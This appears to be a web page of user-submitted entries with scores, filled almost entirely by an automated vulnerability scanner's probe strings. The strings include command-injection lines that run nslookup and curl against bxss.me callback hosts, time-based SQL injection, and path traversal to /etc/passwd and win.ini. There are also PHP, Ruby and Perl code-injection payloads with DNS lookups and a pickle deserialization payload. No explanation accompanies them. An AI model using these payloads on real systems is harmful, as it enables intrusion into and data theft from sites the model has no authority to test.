`(nslookup -q=cname hitkdwisskdkb9322f.bxss.me||curl hitkdwisskdkb9322f.bxss.me)`

• 0.50

&nslookup -q=cname hitidokuqmmgmcf664.bxss.me&'\"`0&nslookup -q=cname hitidokuqmmgmcf664.bxss.me&`'

• 0.50

$(nslookup -q=cname hithjokpwlveoee6a2.bxss.me||curl hithjokpwlveoee6a2.bxss.me)

• 0.50

^(#$!@#$)(()))******

• 0.50

expr 9000879861 - 951407

• 0.50

${10000269+9999483}

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

"+response.write(9315968*9156011)+"

• 0.50

'+response.write(9315968*9156011)+'

• 0.50

response.write(9315968*9156011)

• 0.50

hsijO6GS: Mr4rRMM6

• 0.50

|(nslookup -q=cname hiteeqyikwbsse674c.bxss.me||curl hiteeqyikwbsse674c.bxss.me)

• 0.50

redirtest.acx

• 0.50

&n954669=v958864

• 0.50

../

• 0.50

8lVrXV5r

• 0.25

'"

• 0.25

xfs.bxss.me

• 0.50

-1' OR 5*5=25 or 'aDbyvj7r'='

• 0.50

${@print(md5(31337))}\

• 0.50

";print(md5(31337));$a="

• 0.50

';print(md5(31337));$a='

• 0.50

"&&sleep(27*1000)*dssnfq&&"

• 0.50

'&&sleep(27*1000)*dkzrgn&&'

• 0.50

'A'.concat(70-3).concat(22*4).concat(103).concat(76).concat(120).concat(89)+(require'socket'
Socket.gethostbyname('hitny'+'txoipvtpe2f8c.bxss.me.')[3].to_s)

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(105).concat(75)+(require'socket'
Socket.gethostbyname('hituo'+'ojmmhevi59637.bxss.me.')[3].to_s)+'

• 0.50

;(nslookup -q=cname hitszudaymjbqb1f5e.bxss.me||curl hitszudaymjbqb1f5e.bxss.me)|(nslookup -q=cname hitszudaymjbqb1f5e.bxss.me||curl hitszudaymjbqb1f5e.bxss.me)&(nslookup -q=cname hitszudaymjbqb1f5e.bxss.me||curl hitszudaymjbqb1f5e.bxss.me)

• 0.50

bxss.me/t/xss.html?%00

• 0.50

".gethostbyname(lc("hitmh"."vfyqcdbkbdc0b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(88).chr(119).chr(88)."

• 0.50

expr 9000194166 - 961826

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

echo phauyq$()\ jkktau\nz^xyu||a #' &echo phauyq$()\ jkktau\nz^xyu||a #|" &echo phauyq$()\ jkktau\nz^xyu||a #

• 0.50

!(()&&!|*|*|

• 0.50

file:///etc/passwd

• 0.50

${9999716+9999105}

• 0.50

"+response.write(9637409*9395834)+"

• 0.50

'+response.write(9637409*9395834)+'

• 0.50

j3ZwMbjJ

• 0.50

'"()&%HbbF(9683)

• 0.50

"+"A".concat(70-3).concat(22*4).concat(118).concat(71).concat(103).concat(81)+(require"socket"
Socket.gethostbyname("hitig"+"nazinhfw9a373.bxss.me.")[3].to_s)+"

• 0.50

bxss.me/t/xss.html?%00

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

c:/windows/win.ini

• 0.50

gethostbyname(lc('hitjj'.'bqratlap634e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(71).chr(115).chr(82)

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hithdzpyxdhxh16e0f.bxss.me||curl${IFS}hithdzpyxdhxh16e0f.bxss.me)

• 0.50

".gethostbyname(lc("hitwo"."tghjqngv1ff60.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(73).chr(106).chr(73)."

• 0.50

!(()&&!|*|*|

• 0.50

|echo ocauqr$()\ mcvsjr\nz^xyu||a #' |echo ocauqr$()\ mcvsjr\nz^xyu||a #|" |echo ocauqr$()\ mcvsjr\nz^xyu||a #

• 0.50

)

• 0.50

&echo plxjlj$()\ nwsjzg\nz^xyu||a #' &echo plxjlj$()\ nwsjzg\nz^xyu||a #|" &echo plxjlj$()\ nwsjzg\nz^xyu||a #

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

-1 OR 652=(SELECT 652 FROM PG_SLEEP(15))--

• 0.25

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• 0.25

${@print(md5(31337))}\

• 0.25

'A'.concat(70-3).concat(22*4).concat(100).concat(79).concat(109).concat(78)+(require'socket'
Socket.gethostbyname('hitbh'+'gyuqqtsw0e6c0.bxss.me.')[3].to_s)

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(108).concat(75).concat(106).concat(85)+(require'socket'
Socket.gethostbyname('hitax'+'eqaocoqq5cd3f.bxss.me.')[3].to_s)+'

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

|(nslookup -q=cname hithfejlfycod74283.bxss.me||curl hithfejlfycod74283.bxss.me)

• 0.50

-1 waitfor delay '0:0:15' --

• 0.25

$(nslookup -q=cname hitykjbenbohb50a8e.bxss.me||curl hitykjbenbohb50a8e.bxss.me)

• 0.25

^(#$!@#$)(()))******

• 0.25

${9999940+9999605}

• 0.50

'"

• 0.50

xfs.bxss.me

• 0.50

place_reviews

• 0.50

"||sleep(27*1000)*mzkvkq||"

• 0.50

'||sleep(27*1000)*alutvp||'

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

'"()

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitjnbbaefjge12179.bxss.me||curl${IFS}hitjnbbaefjge12179.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjnbbaefjge12179.bxss.me||curl${IFS}hitjnbbaefjge12179.bxss.me)&`'

• 0.50

"+"A".concat(70-3).concat(22*4).concat(103).concat(85).concat(111).concat(81)+(require"socket"
Socket.gethostbyname("hitcz"+"fajltmck1bb84.bxss.me.")[3].to_s)+"

• 0.50

|(nslookup -q=cname hitzbtznghaqf554f5.bxss.me||curl hitzbtznghaqf554f5.bxss.me)

• 0.50

$(nslookup -q=cname hitajwyqjzsux421a0.bxss.me||curl hitajwyqjzsux421a0.bxss.me)

• 0.50

/etc/shells

• 0.50

../

• 0.50

9342927

• 0.50

xfs.bxss.me

• 0.50

'.print(md5(31337)).'

• 0.50

'||sleep(27*1000)*skpkwu||'

• 0.50

${@print(md5(31337))}

• 0.50

/etc/shells

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.50

&(nslookup -q=cname hittwjslrbabt74489.bxss.me||curl hittwjslrbabt74489.bxss.me)&'\"`0&(nslookup -q=cname hittwjslrbabt74489.bxss.me||curl hittwjslrbabt74489.bxss.me)&`'

• 0.50

(nslookup -q=cname hitzndizxkrqra375d.bxss.me||curl hitzndizxkrqra375d.bxss.me))

• 0.50

echo bamgeo$()\ jrpjkx\nz^xyu||a #' &echo bamgeo$()\ jrpjkx\nz^xyu||a #|" &echo bamgeo$()\ jrpjkx\nz^xyu||a #

• 0.50

file:///etc/passwd

• 0.25

1'"

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

@@OCcSu

• 0.25

fian252P')) OR 253=(SELECT 253 FROM PG_SLEEP(15))--

• 0.25

AIt71lH7') OR 165=(SELECT 165 FROM PG_SLEEP(15))--

• 0.25

nkfOnE8O' OR 395=(SELECT 395 FROM PG_SLEEP(15))--

• 0.25

-5) OR 277=(SELECT 277 FROM PG_SLEEP(15))--

• 0.25

-5 OR 390=(SELECT 390 FROM PG_SLEEP(15))--

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

-1)) OR 187=(SELECT 187 FROM PG_SLEEP(15))--

• 0.25

emE7AUwR'; waitfor delay '0:0:15' --

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

-1" OR 2+739-739-1=0+0+0+1 --

• 0.25

if(now()=sysdate(),sleep(15),0)

• 0.25

-1' OR 2+661-661-1=0+0+0+1 or 'qcrCYtSF'='

• 0.25

-1' OR 2+631-631-1=0+0+0+1 --

• 0.25

-1 OR 2+964-964-1=0+0+0+1

• 0.25

-1 OR 2+981-981-1=0+0+0+1 --

• 0.25

MjgdfX7J